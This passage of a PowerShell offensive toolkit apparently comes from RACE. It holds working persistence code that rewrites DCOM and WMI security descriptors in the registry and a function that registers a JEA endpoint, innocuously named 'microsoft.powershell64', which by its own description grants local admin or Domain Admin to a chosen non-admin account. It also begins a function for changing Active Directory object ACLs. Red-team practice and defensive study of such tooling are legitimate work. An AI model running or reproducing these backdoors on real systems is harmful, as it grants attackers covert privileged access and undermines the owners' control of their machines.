Write-Verbose "New ACL for DCOM Launch Restrictions $newDCOMSDDLLaunchRestrictions"
$binarySDLaunchRestrictions = $converter.SDDLToBinarySD($newSDDLLaunchRestrictions)
$ConvertedPermissionsLaunchRestrictions = ,$binarySDLaunchRestrictions.BinarySD
$DCOMbinarySDLaunchRestrictions = $converter.SDDLToBinarySD($newDCOMSDDLLaunchRestrictions)
$DCOMconvertedPermissionsLaunchRestrictions = ,$DCOMbinarySDLaunchRestrictions.BinarySD
#Create new SDDL for DCOM Launch Permissions
$newDCOMSDDLLaunchPermissions = $outDCOMSDDLLaunchPermissions.SDDL += "(" + $DCOMSDDL + ")"
Write-Verbose "New ACL for DCOM Launch Permissions is $newDCOMSDDLLaunchPermissions"
$binarySDLaunchPermissions = $converter.SDDLToBinarySD($newSDDLLaunchPermissions)
$ConvertedPermissionsLaunchPermissions = ,$binarySDLaunchPermissions.BinarySD
$DCOMbinarySDLaunchPermissions = $converter.SDDLToBinarySD($newDCOMSDDLLaunchPermissions)
$DCOMconvertedPermissionsLaunchPermissions = ,$DCOMbinarySDLaunchPermissions.BinarySD
#Set the new values
$result = $RegProvider.SetBinaryValue(2147483650,"Software\Microsoft\Ole","MachineLaunchRestriction", $DCOMbinarySDLaunchRestrictions.binarySD)
$result = $RegProvider.SetBinaryValue(2147483650,"Software\Microsoft\Ole","DefaultLaunchPermission", $DCOMbinarySDLaunchPermissions.binarySD)
}
elseif ($Remove)
{
Write-Verbose "Removing added entries"
$SDDL = "(" + $SDDL + ")"
$revertsddl = ($outsddl.SDDL).Replace($SDDL,"")
Write-Verbose "Removing permissions for $UserName from ACL for $Namespace namespace"
$DCOMSDDL = "(" + $DCOMSDDL + ")"
$revertDCOMSDDL = ($outDCOMSDDL.SDDL).Replace($DCOMSDDL,"")
Write-Verbose "Removing permissions for $UserName for DCOM"
$WMIbinarySD = $converter.SDDLToBinarySD($revertsddl)
$WMIconvertedPermissions = ,$WMIbinarySD.BinarySD
$DCOMbinarySD = $converter.SDDLToBinarySD($revertDCOMSDDL)
$DCOMconvertedPermissions = ,$DCOMbinarySD.BinarySD
#Set the new values
$result = $Security.PsBase.InvokeMethod("SetSD",$WMIconvertedPermissions)
$result = $RegProvider.SetBinaryValue(2147483650,"Software\Microsoft\Ole","MachineLaunchRestriction", $DCOMbinarySD.binarySD)
Write-Verbose "The new ACL for namespace $Namespace is $revertsddl"
Write-Verbose "The new ACL for DCOM is $revertDCOMSDDL"
}
}
function Set-JEAPermissions
{
<#
.SYNOPSIS
Function which can be used to create a new JEA endpoint for PowerShell remoting to provide access for non-admin Principals.
.DESCRIPTION
The function takes a SamAccountName and creates a new JEA endpoint for PowerShell Remoting for the Principal.
A new JEA endpoint, 'microsoft.powershell64', is registered on the target machine and all commands and cmdlets are allowed.
The endpoint provides anyone connecting to the target machine local admin privileges and Domain Admin on a Domain Controller.
Note that the DA privileges cannot be used to access any network resource.
All the commands run on the endpoint are logged using PowerShell system-wide transcripts in the user's temp directory.
Event logs are created for 'WinRM Virtual Users\WinRM_VA_1_domain_username' account.
The function needs elevated shell locally and administrative privileges on a remote target.
.PARAMETER SamAccountName
SamAccountName of the user or group which will have remote access.
.PARAMETER ComputerName
Target computer. Not required when the function is used locally.
.PARAMETER Credential
Credential for the target remote computer. Not required if you already have administrative privileges on the remote computer.
.PARAMETER ConfigName
The name of the session configuration/JEA endpoint on the target machine. 'microsoft.powershell64' is used by default.
.PARAMETER Remove
Use this switch to remove permissions added by the function.
.EXAMPLE
PS C:\> Set-JEAPermissions -ComputerName ops-build -SamAccountName labuser -Verbose
Use the above command to create a new JEA endpoint on the target machine which provides administrator privileges.
Use the below command to connect to the target machine. Note the -ConfigurationName parameter:
Enter-PSSession -ComputerName ops-build -ConfigurationName microsoft.powershell64
.LINK
https://github.com/samratashok/RACE
https://docs.microsoft.com/en-us/powershell/jea/overview
#>
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$SamAccountName,
[Parameter(Position = 1, Mandatory = $False)]
[String]
$ComputerName,
[Parameter(Position = 2, Mandatory = $False)]
[ValidateNotNull()]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]
$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Position = 3, Mandatory = $False)]
[String]
$ConfigName = 'microsoft.powershell64',
[Parameter(Mandatory = $False)]
[Switch]
$Remove
)
$RemoteScriptBlock =
{
Param(
[Parameter( Mandatory = $True)]
[String]
$SamAccountName,
[Parameter( Mandatory = $false)]
[String]
$ConfigName = 'microsoft.powershell64',
$Remove
)
$modulePath = "$env:ProgramFiles\WindowsPowerShell\Modules\JEARoles"
if (!$modulePath)
{
Write-Verbose "Creating module directory at $modulePath"
New-Item $modulePath -ItemType Directory -Force
}
New-ModuleManifest -Path (Join-Path $modulePath "JEARoles.psd1") -Description "Contains custom JEA Role Capabilities"
# Create a folder for the role capabilities
$roleCapabilityPath = Join-Path $modulePath "RoleCapabilities"
Write-Verbose "Creating directory for Role capability file at $roleCapabilityPath"
New-Item $roleCapabilityPath -ItemType Directory -Force
$RoleFile = $ConfigName + '.psrc'
$ConfigFile = $ConfigName + '.pssc'
Write-Verbose "Creating Role Capability File."
New-PSRoleCapabilityFile -Path (Join-Path $roleCapabilityPath $RoleFile) -Author "Admin" -CompanyName $ComputerName -Description "For System Administration." -ModulesToImport "Microsoft.PowerShell.Core"
Write-Verbose "Creating Session Configuration File."
New-PSSessionConfigurationFile -Path C:\ProgramData\$ConfigFile -SessionType Default -TranscriptDirectory $env:TEMP -RunAsVirtualAccount -RoleDefinitions @{ $SamAccountName = @{ RoleCapabilities = $ConfigName };}
Write-Verbose "Registering Session Configuration."
Register-PSSessionConfiguration -Name $ConfigName -Path C:\ProgramData\$ConfigFile -Force
}
if ($ComputerName)
{
Invoke-Command -ScriptBlock $RemoteScriptBlock -ComputerName $ComputerName -Credential $Credential -ArgumentList $SamAccountName,$ConfigName,$Remove -Verbose
}
else
{
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList $SamAccountName,$ConfigName,$Remove -Verbose
}
}
function Set-ADACL
{
<#
.SYNOPSIS
Function to modify ACL of domain objects.
.DESCRIPTION
The function can set ACL of a domain object specified by TargetSamAccountName or DistinguishedName.
It requires Microsoft's Active Directory module. You either need the AD RSAT tools (available on DC) or get the module
from here: https://github.com/samratashok/ADModule
This function is used by other functions like Set-DCPermissions.
.PARAMETER TargetSamAccountName
SamAccountName of the target user or group for which you want to modify the DACL.
.PARAMETER DistinguishedName
DistnguishedName of the target object for which you want to modify the DACL.
.PARAMETER SamAccountName
SamAccountName of the user or group which will have permissions.